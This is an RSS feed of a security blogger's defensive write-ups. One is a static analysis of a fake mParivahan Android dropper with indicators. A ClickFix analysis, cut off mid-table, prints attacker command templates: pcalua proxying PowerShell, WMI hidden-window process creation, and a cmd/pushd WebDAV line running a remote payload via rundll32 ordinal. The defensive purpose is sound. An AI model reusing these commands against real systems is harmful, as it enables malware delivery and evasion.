<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jay Pomal on Medium]]></title>
        <description><![CDATA[Stories by Jay Pomal on Medium]]></description>
        <link>https://medium.com/@jaypomal?source=rss-e511304e152d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BY_1BE6fUzTbyiXqVitngQ.jpeg</url>
            <title>Stories by Jay Pomal on Medium</title>
            <link>https://medium.com/@jaypomal?source=rss-e511304e152d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 10:02:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jaypomal/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Anatomy of a Fake Government App: Dissecting an Android Dropper Disguised as “mParivahan”]]></title>
            <link>https://jaypomal.medium.com/anatomy-of-a-fake-government-app-dissecting-an-android-dropper-disguised-as-mparivahan-74dbce826619?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/74dbce826619</guid>
            <category><![CDATA[android-malware-analysis]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[android-malware]]></category>
            <category><![CDATA[mparivahan-app]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 18:02:14 GMT</pubDate>
            <atom:updated>2026-09-12T18:02:14.667Z</atom:updated>
            <content:encoded><![CDATA[<p>A file lands in your inbox or, more realistically, arrives as a WhatsApp forward, an SMS about an <strong>“unpaid traffic challan,”</strong> or a link promising to help you renew your RC online.</p><p>The attachment is called:</p><p>NextGen_mParivahan.apk</p><p>It looks official enough.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*VzuG9dru4brjeYlQ7xgkyA.png" /></figure><p>Millions of people in India are familiar with mParivahan and use government transport services for exactly this kind of thing. So the name itself doesn’t immediately raise an eyebrow.</p><p>That’s the trick.</p><p>I decided to take the APK apart not on a phone, and certainly not by installing it, but on an analysis workbench and see what was actually inside.</p><p>What emerged was a textbook example of an Android <strong>dropper</strong>: an application whose visible interface is largely a delivery mechanism for another, concealed payload.</p><p>The interesting part wasn’t simply discovering that the APK was malicious.</p><p>It was seeing <strong>how deliberately it was designed to make analysis harder.</strong></p><h3>Step 1: The file looks normal. That’s the point.</h3><p>At first glance, NextGen_mParivahan.apk looks like a perfectly ordinary Android application.</p><p>It’s a valid ZIP-based Android package, approximately <strong>11.8 MB</strong> in size, containing the familiar components you’d expect:</p><ul><li>classes.dex</li><li>resources.arsc</li><li>AndroidManifest.xml</li><li>Android resources</li><li>Application icons</li><li>Layout files</li><li>AndroidX/AppCompat/Material Components libraries</li></ul><p>Nothing about the top-level structure immediately screams <em>malware</em>.</p><p>And that’s precisely the point.</p><p>A dropper doesn’t need to look malicious.</p><p>It needs to look <strong>boring enough to get installed</strong>.</p><p>The first line of defense isn’t always an antivirus engine. Very often, it’s a human being looking at an application name and deciding whether to tap <strong>Install</strong>.</p><p>The attacker only needs to win that decision once.</p><h3>Step 2: The manifest that refused to open</h3><p>The first serious anomaly appeared during extraction.</p><p>A standard ZIP utility reported something along the lines of:</p><blockquote><strong><em>“AndroidManifest.xml is encrypted, password required for extraction.”</em></strong></blockquote><p>That doesn’t make much sense.</p><p>A genuinely encrypted Android manifest would present a fundamental problem: Android needs to parse the manifest in order to understand the package.</p><p>So was the APK corrupted?</p><p>Or was something else happening?</p><p>Inspecting the raw ZIP structure provided the answer.</p><p>The <strong>encrypted bit had been manipulated in the ZIP metadata</strong> for the manifest and roughly a hundred other entries.</p><p>The underlying content, however, wasn’t actually encrypted.</p><p>When the misleading flag was ignored, the manifest decompressed normally using standard DEFLATE.</p><p>That distinction is crucial.</p><p>This wasn’t ordinary encryption.</p><p>It was <strong>metadata manipulation designed to confuse analysis tooling</strong>.</p><p>Think of it as putting a <em>“locked”</em> sign on a door that isn’t actually locked. Many automated tools will respect the sign and stop. A more forgiving parser may simply ignore it and continue.</p><p>The technique can interfere with tools such as:</p><ul><li>unzip</li><li>apktool</li><li>automated APK parsers</li><li>malware scanners</li><li>sandbox ingestion pipelines</li></ul><p>And the manipulation wasn’t isolated.</p><p><strong>103 of 238 parsed ZIP entries</strong> carried the suspicious flag, including AndroidManifest.xml.</p><p>That’s a substantial portion of the archive.</p><p>One particularly interesting entry went further: its ZIP metadata claimed an uncompressed size of approximately <strong>1.5 GB</strong>, despite the compressed data being only a few megabytes.</p><p>That’s highly implausible and consistent with <strong>zip-bomb-style metadata poisoning</strong>, where malformed size information can cause naïve unpackers or automated analysis systems to allocate excessive resources, fail, or time out.</p><p>Before examining the application’s actual behavior, we already had evidence that someone had taken deliberate steps to make the package harder to inspect.</p><h3>Step 3: A package name that gives the game away</h3><p>Once the manifest could be parsed, the application’s declared package name appeared:</p><pre>com.bum029.bsqj1m</pre><p>That isn’t an official-looking government namespace.</p><p>It certainly doesn’t match the identity a user would reasonably expect from an application presenting itself as India’s mParivahan service.</p><p>The surrounding code tells a similar story.</p><p>Class names include strings such as:</p><pre>LmHZpPjZwq8wPUibA9<br>gEqvW6VnlWERSwutPp<br>jPfXPQJdzLf8nBacZr</pre><p>Obfuscation by itself isn’t evidence of malware. Legitimate Android applications routinely use R8, ProGuard and similar techniques.</p><p>But security analysis is about <strong>patterns</strong>, not isolated indicators.</p><p>Here, randomized identifiers appear alongside:</p><ul><li>A misleading government-app identity</li><li>A generic signing certificate</li><li>Suspicious assets</li><li>Cryptographic payload-handling code</li><li>Package installation APIs</li><li>Anti-analysis ZIP manipulation</li></ul><p>The package begins to look less like a normal application and more like a <strong>disposable malware build</strong>.</p><p>Even some resource filenames are randomized.</p><p>There is also a stray .DS_Store file inside the APK. An interesting artifact suggesting that the package was assembled or manipulated on a macOS workstation.</p><p>None of these observations proves malicious intent by itself.</p><p>Together, they add weight to the same hypothesis.</p><h3>Step 4: The permissions are strangely minimal</h3><p>The recovered manifest requests several permissions that deserve attention.</p><h3>QUERY_ALL_PACKAGES</h3><p>This allows the application to obtain visibility into installed applications.</p><p>For legitimate apps, there are specific use cases for this capability. In malware, it can be valuable for <strong>device reconnaissance</strong> — identifying whether banking apps, UPI applications, wallets or security software are present.</p><h3>REQUEST_INSTALL_PACKAGES</h3><p>This one is even more significant in context.</p><p>It allows the application to request installation of other packages.</p><p>On its own, that isn’t malicious.</p><p>But remember that we already have a large opaque payload sitting inside the APK.</p><h3>DUMP</h3><p>This is unusual for an ordinary consumer-facing government service and warrants additional scrutiny.</p><p>Then there’s what the manifest <strong>doesn’t</strong> contain.</p><p>There are no obvious SMS permissions.</p><p>No obvious overlay permission.</p><p>No obvious accessibility-service declaration.</p><p>At first glance, that might sound reassuring.</p><p>It isn’t.</p><p>In fact, it fits the dropper architecture surprisingly well.</p><p>If the outer APK is merely the delivery mechanism, there’s no reason for the first stage to expose every capability of the eventual payload.</p><p><strong>The dangerous permissions can arrive later.</strong></p><h3>Step 5: The 9.8 MB question</h3><p>The biggest clue was sitting quietly inside the assets/ directory.</p><p>Two files immediately stood out.</p><p>The first was a roughly <strong>9.8 MB binary blob</strong>:</p><pre>assets/4yhSF0XrpYFNbefj</pre><p>It had no meaningful filename and no useful file extension.</p><p>The second was:</p><pre>assets/e6wOVmgSLN7CNGUD</pre><p>and was exactly <strong>16 bytes</strong>.</p><p>Sixteen bytes is an interesting size in cryptographic analysis.</p><p>It is compatible with an AES block size and can also represent an AES key or initialization vector, depending on how the implementation uses it.</p><p>But the file size alone proves nothing.</p><p>The code provided the missing context.</p><p>The DEX references:</p><pre>javax.crypto.Cipher<br>javax.crypto.spec.SecretKeySpec<br>javax.crypto.spec.IvParameterSpec<br>javax.crypto.CipherInputStream</pre><p>It also contains the literal transformation:</p><pre>AES/CBC/PKCS5Padding</pre><p>and the error message:</p><blockquote><strong><em>“Decryption failed”</em></strong></blockquote><p>Now the pieces start fitting together.</p><p>We have:</p><p><strong>A large opaque binary</strong></p><p><strong>A 16-byte companion artifact</strong></p><p><strong>AES decryption code</strong></p><p><strong>A runtime decryption error</strong></p><p>That is a very strong indication that the large asset is not ordinary application data.</p><p>It is likely a <strong>protected payload</strong>.</p><h3>Step 6: The installation mechanism closes the loop</h3><p>The next discovery was the one that transformed a suspicious encrypted asset into a coherent dropper architecture.</p><p>The DEX references:</p><pre>android.content.pm.PackageInstaller<br>android.content.pm.PackageInstaller$Session<br>android.content.pm.PackageInstaller$SessionParams</pre><p>The manifest also requests:</p><pre>android.permission.REQUEST_INSTALL_PACKAGES</pre><p>Individually, these APIs are legitimate Android functionality.</p><p>Together with the encrypted payload, however, they become highly significant.</p><p>The likely execution chain looks like this:</p><pre>Victim receives fake mParivahan APK<br>                │<br>                ▼<br>        Victim installs APK<br>                │<br>                ▼<br>       Decoy application runs<br>                │<br>                ▼<br>       Reads embedded payload<br>                │<br>                ▼<br>       Decrypts payload with AES<br>                │<br>                ▼<br>      Creates PackageInstaller session<br>                │<br>                ▼<br>      Attempts second-stage install<br>                │<br>                ▼<br>       Second-stage malware</pre><p>That’s the defining architecture of a <strong>dropper</strong>.</p><p>The outer application isn’t necessarily where the final malicious functionality lives.</p><p>Its primary job is <strong>delivery</strong>.</p><p>The visible APK can therefore remain relatively lightweight and unremarkable while the more dangerous functionality stays hidden inside an encrypted second stage.</p><h3>Step 7: The “missing” malware is actually the clue</h3><p>This explains something that initially looks contradictory.</p><p>The outer DEX doesn’t prominently contain obvious functionality for:</p><ul><li>SMS theft</li><li>OTP interception</li><li>Accessibility abuse</li><li>Overlay attacks</li><li>Credential harvesting</li></ul><p>That’s not necessarily evidence of safety.</p><p>It’s exactly what we’d expect if the malware is <strong>staged</strong>.</p><p>Searching only the first-stage DEX for SmsManager or SYSTEM_ALERT_WINDOW is like searching a delivery truck for the contents of the package it hasn&#39;t opened yet.</p><p>The correct question isn’t:</p><blockquote><em>“Where is the banking trojan?”</em></blockquote><p>It’s:</p><blockquote><strong><em>“What is this application trying to install?”</em></strong></blockquote><p>That distinction is fundamental when analyzing droppers.</p><h3>Step 8: Even the signing certificate tells a story</h3><p>Every Android application must be signed.</p><p>This APK is signed with a certificate identifying itself as:</p><pre>CN=Release<br>O=Android<br>C=US</pre><p>That’s a generic, self-signed identity rather than an obvious organizational or government publisher identity.</p><p>The certificate’s validity period runs from:</p><p><strong>May 24, 2026 → October 9, 2053</strong></p><p>The start date also aligns closely with the APK’s internal build timestamps.</p><p>Again, a long-lived developer certificate isn’t automatically malicious.</p><p>But for an application <strong>masquerading as a government service</strong>, the signing identity matters enormously.</p><p>A filename can be changed.</p><p>An icon can be copied.</p><p>The application’s name can be copied.</p><p>The signing identity is a much harder thing to fake convincingly without actually possessing the legitimate publisher’s signing key.</p><p>This is why defenders should treat APK signing certificates as <strong>identity indicators</strong>, not merely technical metadata.</p><h3>Step 9: The decoy doesn’t need to be sophisticated</h3><p>Another interesting detail is the visible application itself.</p><p>The DEX is dominated by familiar AndroidX, AppCompat and Material Components libraries.</p><p>There are also ordinary-looking layouts such as:</p><pre>activity_main.xml<br>second_activity.xml</pre><p>This suggests a relatively simple interface.</p><p>And that’s enough.</p><p>A successful phishing application doesn’t need to reproduce every feature of the real government application.</p><p>It needs to create enough visual and contextual credibility to keep the victim from asking questions.</p><p>The attacker doesn’t need you to use the app for ten minutes.</p><p>They may only need you to:</p><p><strong>Install → Open → Approve → Wait</strong></p><p>Once the second stage has been delivered, the decoy has done its job.</p><h3>Step 10: The social-engineering layer matters</h3><p>The technical architecture only explains <strong>how</strong> the malware works.</p><p>The mParivahan branding explains <strong>why people install it</strong>.</p><p>A message about:</p><ul><li>an unpaid challan</li><li>an expiring RC</li><li>a traffic violation</li><li>a pending vehicle document</li><li>an urgent RTO notification</li></ul><p>creates exactly the emotional conditions attackers want:</p><p><strong>familiarity + urgency + authority</strong></p><p>The victim isn’t thinking:</p><blockquote><em>“Should I execute an untrusted Android binary?”</em></blockquote><p>They’re thinking:</p><blockquote><em>“I don’t want a traffic fine.”</em></blockquote><p>That’s the social-engineering layer.</p><p>And it is arguably more important than the malware’s technical sophistication.</p><p>A highly sophisticated payload is useless if nobody installs it.</p><p>A relatively simple dropper can be extremely profitable if thousands of people believe the story surrounding it.</p><h3>What We Can Confirm — And What We Shouldn’t Overclaim</h3><p>This distinction matters.</p><p>A security report should separate <strong>observed behavior</strong> from <strong>reasonable inference</strong>.</p><h3>Strongly supported by static analysis</h3><p>The APK:</p><ul><li>Is not a trustworthy representation of the official mParivahan application.</li><li>Uses the suspicious package name com.bum029.bsqj1m.</li><li>Uses a generic self-signed certificate.</li><li>Contains manipulated ZIP metadata designed to interfere with analysis.</li><li>Contains a large opaque embedded binary.</li><li>Contains cryptographic APIs and AES/CBC/PKCS5Padding.</li><li>Contains a 16-byte companion artifact.</li><li>Requests REQUEST_INSTALL_PACKAGES.</li><li>References Android’s PackageInstaller APIs.</li><li>Requests QUERY_ALL_PACKAGES.</li><li>Has an architecture strongly consistent with a first-stage dropper.</li></ul><h3>Strongly indicated</h3><p>The outer application is designed to <strong>decrypt and deliver another Android payload</strong>.</p><h3>Not proven by the outer APK alone</h3><p>The exact final capabilities of that second-stage payload.</p><p>The architecture is consistent with Android banking-trojan campaigns that use RTO, challan and mParivahan themes to distribute malware capable of stealing sensitive information or facilitating financial fraud.</p><p>But without extracting and analyzing the second stage, it would be irresponsible to claim that this particular sample definitely steals OTPs, UPI PINs or banking credentials.</p><p><strong>That’s where good malware analysis stops guessing and starts proving.</strong></p><h3>The Bigger Picture</h3><p>What makes this APK interesting isn’t a zero-day exploit.</p><p>There isn’t one.</p><p>The attacker doesn’t need one.</p><p>Instead, the sample relies on something much more practical:</p><p><strong>misdirection.</strong></p><p>The malicious capability is largely absent from the application a victim thinks they’re installing.</p><p>Instead, the outer APK contains the machinery required to retrieve and install something else.</p><p>The attack therefore has several layers:</p><pre>Social engineering<br>        ↓<br>Trusted government branding<br>        ↓<br>Fake Android application<br>        ↓<br>Anti-analysis tricks<br>        ↓<br>Encrypted payload<br>        ↓<br>Runtime decryption<br>        ↓<br>Package installation<br>        ↓<br>Second-stage malware</pre><p>Each layer has a different purpose.</p><p>The WhatsApp message gets your attention.</p><p>The mParivahan branding gets your trust.</p><p>The APK gets onto the device.</p><p>The ZIP manipulation slows down analysis.</p><p>The encrypted blob hides the payload.</p><p>The installer delivers it.</p><p>And the second stage gets the capabilities the attacker actually wants.</p><p>That’s a remarkably efficient attack chain.</p><h3>Why This Matters Beyond One APK</h3><p>There is a broader lesson here for anyone investigating Android malware.</p><p><strong>“The app doesn’t ask for scary permissions” is no longer a sufficient safety check.</strong></p><p>A first-stage dropper may intentionally avoid requesting the permissions associated with its ultimate objective.</p><p>Likewise:</p><p><strong>“The APK looks corrupted” doesn’t necessarily mean the sample is harmless.</strong></p><p>The corruption may be intentional.</p><p>And:</p><p><strong>“I don’t see malware strings in </strong><strong>classes.dex” doesn&#39;t mean there is no malware.</strong></p><p>The malware may be somewhere else.</p><p>When an APK contains unusual archive structures, encrypted assets, cryptographic routines and package-installation capabilities, those pieces need to be analyzed <strong>as a system</strong>.</p><p>The individual clues matter.</p><p>The relationships between them matter more.</p><h3>Practical Indicators for Defenders</h3><p>For researchers investigating this particular sample, the following indicators are useful:</p><p><strong>Filename</strong></p><pre>NextGen_mParivahan.apk</pre><p><strong>SHA-256</strong></p><pre>90dd5ba11e3f8ae26bc12719d799c0fd1c1a9d4de6b378a255e4ad338eca95ef</pre><p><strong>MD5</strong></p><pre>7eb78622a9fe328692684e22a4ea7e73</pre><p><strong>Package</strong></p><pre>com.bum029.bsqj1m</pre><p><strong>Embedded payload</strong></p><pre>assets/4yhSF0XrpYFNbefj</pre><p><strong>Companion artifact</strong></p><pre>assets/e6wOVmgSLN7CNGUD</pre><p><strong>Certificate identity</strong></p><pre>CN=Release, O=Android, C=US</pre><p>These should be treated as <strong>sample-specific indicators</strong>, not universal signatures for every fake mParivahan campaign.</p><h3>What Defenders Should Look For</h3><p>When investigating suspicious Android packages, don’t stop at the obvious.</p><h3>1. Verify the publisher identity</h3><p>Don’t trust:</p><ul><li>Filename</li><li>Icon</li><li>Application name</li><li>WhatsApp sender</li><li>Website branding</li></ul><p>Check:</p><ul><li>Package name</li><li>Signing certificate</li><li>Certificate fingerprint</li><li>Distribution source</li></ul><h3>2. Inspect the APK as a ZIP archive</h3><p>Look for:</p><ul><li>Inconsistent compression flags</li><li>Impossible file sizes</li><li>Duplicate entries</li><li>Suspicious timestamps</li><li>Randomly named assets</li><li>Nested archives</li><li>Unexpected binary blobs</li></ul><p>Archive-level anomalies can reveal anti-analysis techniques before the application code is even examined.</p><h3>3. Search for staging mechanisms</h3><p>Pay particular attention to combinations involving:</p><ul><li>Cipher</li><li>SecretKeySpec</li><li>IvParameterSpec</li><li>DexClassLoader</li><li>PathClassLoader</li><li>PackageInstaller</li><li>REQUEST_INSTALL_PACKAGES</li><li>dynamically loaded DEX files</li></ul><p>None of these APIs is malicious by itself.</p><p>The <strong>combination and execution path</strong> are what matter.</p><h3>4. Extract before you execute</h3><p>If an encrypted payload can be recovered statically, analyze it separately.</p><p>Don’t immediately detonate suspicious samples on a personal phone.</p><p>Use an isolated analysis environment with:</p><ul><li>A disposable Android emulator</li><li>Network monitoring</li><li>DNS logging</li><li>HTTP/S interception where appropriate</li><li>Snapshot/revert capability</li><li>No personal accounts</li><li>No real banking applications</li><li>No production credentials</li></ul><p>The goal is to observe the malware without giving it anything valuable.</p><h3>If You Already Installed It</h3><p>If this APK has already been installed on a real device, treat it as a <strong>potential compromise</strong>, particularly if you granted permissions or the application installed a second package.</p><p>At minimum:</p><ol><li>Disconnect the device from the internet.</li><li>Do not enter banking credentials or UPI PINs on it.</li><li>From a clean device, review bank and UPI activity.</li><li>Contact your bank immediately if you see unauthorised transactions.</li><li>Preserve the APK and its hash for investigation.</li><li>Check for unfamiliar applications and recently granted permissions.</li><li>If compromise is confirmed, consider professional forensic examination or a factory reset rather than assuming that uninstalling the visible application removed everything.</li></ol><p>If money has been lost to a suspected cyber-fraud incident in India, report it immediately through <strong>1930</strong> and the National Cyber Crime Reporting Portal.</p><h3>Final Thoughts</h3><p>The most revealing thing about this APK isn’t the AES encryption.</p><p>It isn’t the randomized class names.</p><p>It isn’t even the fake mParivahan branding.</p><p>It’s the <strong>architecture</strong>.</p><p>The attacker has separated the operation into stages:</p><p><strong>social engineering → decoy → anti-analysis → encrypted payload → decryption → package installation → second-stage execution</strong></p><p>That separation makes the malware harder to inspect and easier to disguise.</p><p>It also exposes a weakness in the way we often think about malicious applications.</p><p>We tend to ask:</p><blockquote><strong><em>“What does this app do?”</em></strong></blockquote><p>With a dropper, that’s the wrong question.</p><p>The better question is:</p><blockquote><strong><em>“What is this app designed to deliver?”</em></strong></blockquote><p>Because sometimes the application sitting in front of you isn’t the weapon.</p><p>It’s the delivery mechanism.</p><p>And when a supposedly official government APK arrives through WhatsApp, contains manipulated archive metadata, hides a multi-megabyte encrypted payload, and has the ability to install another package, the safest assumption isn’t that you’ve discovered an unusually complicated government app.</p><p>You’ve discovered something that <strong>really doesn’t want to be inspected.</strong></p><p>And that’s usually a very good reason to keep it off your phone.</p><blockquote>Note: This is merely a static analysis, stay tuned for second part where we detonate the suspicious apk file. see y’all in second part.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74dbce826619" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From DLL Sideloading to Domain-Wide Access: Anatomy of a TerminalFix-Style Intrusion]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://jaypomal.medium.com/from-dll-sideloading-to-domain-wide-access-anatomy-of-a-terminalfix-style-intrusion-c8a77dbbba84?source=rss-e511304e152d------2"><img src="https://cdn-images-1.medium.com/max/600/1*nKmJB0Bt7O709mBLDBbYIg.png" width="600"></a></p><p class="medium-feed-snippet">Recently, I had the opportunity to investigate an active intrusion that began with what appeared to be a routine persistence event.</p><p class="medium-feed-link"><a href="https://jaypomal.medium.com/from-dll-sideloading-to-domain-wide-access-anatomy-of-a-terminalfix-style-intrusion-c8a77dbbba84?source=rss-e511304e152d------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://jaypomal.medium.com/from-dll-sideloading-to-domain-wide-access-anatomy-of-a-terminalfix-style-intrusion-c8a77dbbba84?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8a77dbbba84</guid>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[defenders-in-action]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[terminalfix]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Tue, 08 Sep 2026 13:14:02 GMT</pubDate>
            <atom:updated>2026-09-08T13:14:02.977Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[ClickFix to WebDAV: Detailed Analysis of a Rundll32-Based Multi-Stage Malware Delivery Chain]]></title>
            <link>https://jaypomal.medium.com/clickfix-to-webdav-detailed-analysis-of-a-rundll32-based-multi-stage-malware-delivery-chain-7a936354282a?source=rss-e511304e152d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a936354282a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[webdev]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[clickfix]]></category>
            <category><![CDATA[rundll32]]></category>
            <dc:creator><![CDATA[Jay Pomal]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 05:52:10 GMT</pubDate>
            <atom:updated>2026-07-28T05:52:10.922Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Cyber Warriors 👋,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*fhsNX6TmI5vdXHC_.gif" /></figure><p>It’s been a while since I published a proper technical deep dive. Over the past few months, I’ve spent more time inside investigations, threat hunts, command-line analysis, and malware execution chains than writing. But every now and then, a technique stands out. Not because it uses a zero-day or some highly advanced custom malware, but because it abuses normal Windows behavior in a way that is simple, clever, and effective.</p><p>Today I want to talk about a delivery chain that perfectly demonstrates that idea.</p><p>This isn’t a story about one malicious file.</p><p>At first glance, the activity may look like a suspicious rundll32.exe command. But once we follow the full chain, it becomes clear that this is a multi-stage malware delivery flow involving ClickFix social engineering, RunMRU, Program Compatibility Assistant, PowerShell, WMI, WebDAV, Rundll32 ordinal execution, and post-execution activity. The write-up describes this as a chain that moves from user-driven execution into WebDAV-based payload retrieval and Rundll32 ordinal execution.</p><p>The key lesson is simple: this is not about one bad binary. It is about how multiple trusted Windows components are chained together.</p><h3>The Evolution of ClickFix</h3><p>Over the years, ClickFix-style attacks have become increasingly common.</p><p>Unlike traditional attacks that rely on exploit kits or malicious attachments, ClickFix campaigns rely on something much simpler: convincing the user to execute a command themselves.</p><p>The attacker presents a fake verification page, browser issue, CAPTCHA prompt, media playback problem, or support message. The victim is instructed to copy, paste, or run a command that supposedly fixes the problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*M9bl79hzc51BIk6u.png" /></figure><p>And just like that, the attack begins.</p><p>From the attacker’s perspective, this approach eliminates the need for sophisticated exploitation techniques. The user becomes the execution mechanism. This is why ClickFix is effective: the initial “execution” is performed by the user, but everything after that is handled by native Windows components. Public reporting on recent ClickFix variants also describes attackers abusing rundll32.exe and WebDAV to reduce reliance on heavily monitored scripting tools such as PowerShell and mshta.</p><h3>More Than Just a Suspicious Command</h3><p>When analyzing this activity, the biggest mistake defenders can make is focusing on a single process. Many analysts may see PowerShell. Others may notice cmd.exe. Some may identify Rundll32. Unfortunately, looking at any one of these events individually often provides only part of the picture.</p><p>The real story emerges when we connect the entire attack lifecycle. The observed technique follows a sequence that can be summarized as:</p><pre>ClickFix social engineering<br>        ↓<br>Run dialog / RunMRU artifact<br>        ↓<br>pcalua.exe execution proxy<br>        ↓<br>PowerShell<br>        ↓<br>WMI process creation<br>        ↓<br>WmiPrvSE.exe<br>        ↓<br>cmd.exe<br>        ↓<br>pushd / pu^shd \\domain@SSL\&lt;identifier&gt;<br>        ↓<br>WebDAV HTTPS connection<br>        ↓<br>Load remote payload<br>        ↓<br>rundll32 &lt;payload&gt;,#1<br>        ↓<br>Payload execution<br>        ↓<br>C2 / secondary-stage activity</pre><p>Each step enables the next step. Each step provides an opportunity for detection. And each step helps the attacker stay hidden behind trusted Windows functionality.</p><h3>1: RunMRU Reveals the User Action</h3><p>The first useful forensic artifact often appears in RunMRU-related telemetry.</p><p>RunMRU entries can reveal commands executed through the Windows Run dialog, which often serves as the bridge between social engineering and malware execution.</p><p>This is important because it demonstrates that the attack started with user interaction rather than an exploit, service, scheduled task, or traditional malware installation.</p><p>For defenders, RunMRU can become one of the earliest clues that a user executed an attacker-provided command.</p><p>This matters because it immediately changes the investigative narrative.</p><p>Instead of asking:</p><blockquote><em>“How did malware get here?”</em></blockquote><p>Analysts can begin asking:</p><blockquote><em>“What convinced the user to run this command?”</em></blockquote><p>That subtle distinction often leads directly to the original phishing or ClickFix lure.</p><h3>2: Program Compatibility Assistant as an Execution Proxy</h3><p>The next interesting observation is the use of Program Compatibility Assistant (pcalua.exe).</p><p>Normally associated with helping older applications run on modern versions of Windows, Program Compatibility Assistant is not a tool most defenders expect to see participating in malware delivery chains.</p><p>Yet that’s precisely what makes it useful to attackers.</p><p>Rather than directly launching malicious activity, pcalua.exe can act as a trusted intermediary. This adds an additional layer between the user’s action and the final payload execution, making the process tree appear more legitimate at first glance.</p><p>A representative command may start like this:</p><pre>&quot;C:\Windows\system32\pcalua.exe&quot; -a &quot;powershell&quot; -c &quot;&lt;powershell command&gt;&quot;</pre><p>By itself, pcalua.exe is not malicious. But when it is followed by PowerShell, WMI, WebDAV, and Rundll32 ordinal execution, the relationship becomes highly suspicious.</p><h3>3: PowerShell and WMI Add Stealth</h3><p>After execution passes through pcalua.exe, PowerShell and Windows Management Instrumentation (WMI) can take over.</p><p>The purpose of this stage is often not execution itself but stealth.</p><p>PowerShell may leverage WMI classes such as:</p><pre>Win32_Process2<br>Win32_ProcessStartup</pre><p>to create hidden child processes that continue execution without displaying visible command windows to the user.</p><pre>$s = ([wmiclass]&#39;Win32_ProcessStartup&#39;).CreateInstance()<br>$s.ShowWindow = 0</pre><p>The PowerShell stage then creates a new process using WMI:</p><pre>([wmiclass]&#39;Win32_Process&#39;).Create(...)</pre><p>Instead of PowerShell directly spawning cmd.exe, WMI creates the process.</p><p>That can change the process lineage. Instead of seeing:</p><pre>powershell.exe<br>    └── cmd.exe</pre><p>an analyst may see something closer to:</p><pre>WmiPrvSE.exe<br>    └── cmd.exe</pre><p>For defenders, this is an important transition point.</p><p>At this stage the attack shifts from user-driven activity into background execution, reducing visible indicators while maintaining control of the workflow.</p><h3>4: WebDAV Becomes the Delivery Platform</h3><p>The next stage is one of the most important parts of the chain:</p><pre>cmd /v/c pushd \\domain@SSL\&lt;identifier&gt;</pre><p>or in an obfuscated form:</p><pre>cmd /v/c pu^shd \\domain@SSL\&lt;identifier&gt;</pre><p>pushd normally changes the current directory. But here, the destination is not a local folder. It is a WebDAV path:</p><pre>\\domain@SSL\&lt;identifier&gt;</pre><p>The @SSL portion indicates WebDAV over an HTTPS-compatible channel. The WebDAV allows remote resources to be accessed through file-like paths, and that the @SSL marker indicates HTTPS-compatible WebDAV access. Effectively, Windows treats the remote WebDAV location like a network share. So a path such as:</p><pre>\\example-domain.com@SSL\&lt;identifier&gt;</pre><p>can cause Windows to access remote content over HTTPS-like WebDAV behavior.</p><p>This is useful for attackers because it avoids the traditional browser download model. The payload can be hosted remotely and accessed through native Windows file-access behavior instead.</p><p>From the attacker’s perspective, WebDAV is attractive because:</p><ul><li>It uses trusted Windows functionality.</li><li>It blends into HTTPS traffic.</li><li>It avoids obvious download behavior.</li><li>It supports rapid infrastructure rotation.</li></ul><p>Domains may change.</p><p>Payload names may change.</p><p>Directory identifiers may change.</p><p>But the delivery mechanism often remains remarkably consistent.</p><h3>5: Rundll32 Executes the Payload</h3><p>Once the remote resource is reached, Rundll32 becomes the execution engine.</p><p>Rather than executing a standard DLL export, the activity uses ordinal execution:</p><pre>rundll32 cb.i,#1</pre><pre>rundll32 ab.key,#1</pre><pre>rundll32 hh.keu,#1</pre><p>There are two important details here. First, the payload does not use a normal .dll extension. It may be named something like:</p><pre>ab.key<br>cb.i<br>hh.keu</pre><p>Second, execution happens through:</p><pre>#1</pre><p>That means Rundll32 is executing <strong>Export Ordinal 1</strong> rather than a named function.</p><p>The payload names such as cb.i, ab.key, and hh.keu are non-standard, and that #1 instructs Rundll32 to call the first exported function rather than a named export. In simple terms:</p><pre>rundll32 ab.key,#1</pre><p>means:</p><pre>Load the DLL-like file named ab.key<br>and execute the function stored at Export Ordinal 1.</pre><p>This reduces visibility for defenders because there is no meaningful export name to inspect in the command line.</p><h3>Full Command Breakdown</h3><p>A representative command structure looks like:</p><pre>cmd.exe /v/c pu^shd \\domain@SSL\&lt;identifier&gt; &amp; rundll32 cb.i,#1</pre><p>Breaking it down:</p><pre>| Component                   | Purpose                                                     |<br>| --------------------------- | ----------------------------------------------------------- |<br>| `cmd.exe /v/c`              | Starts Command Prompt and 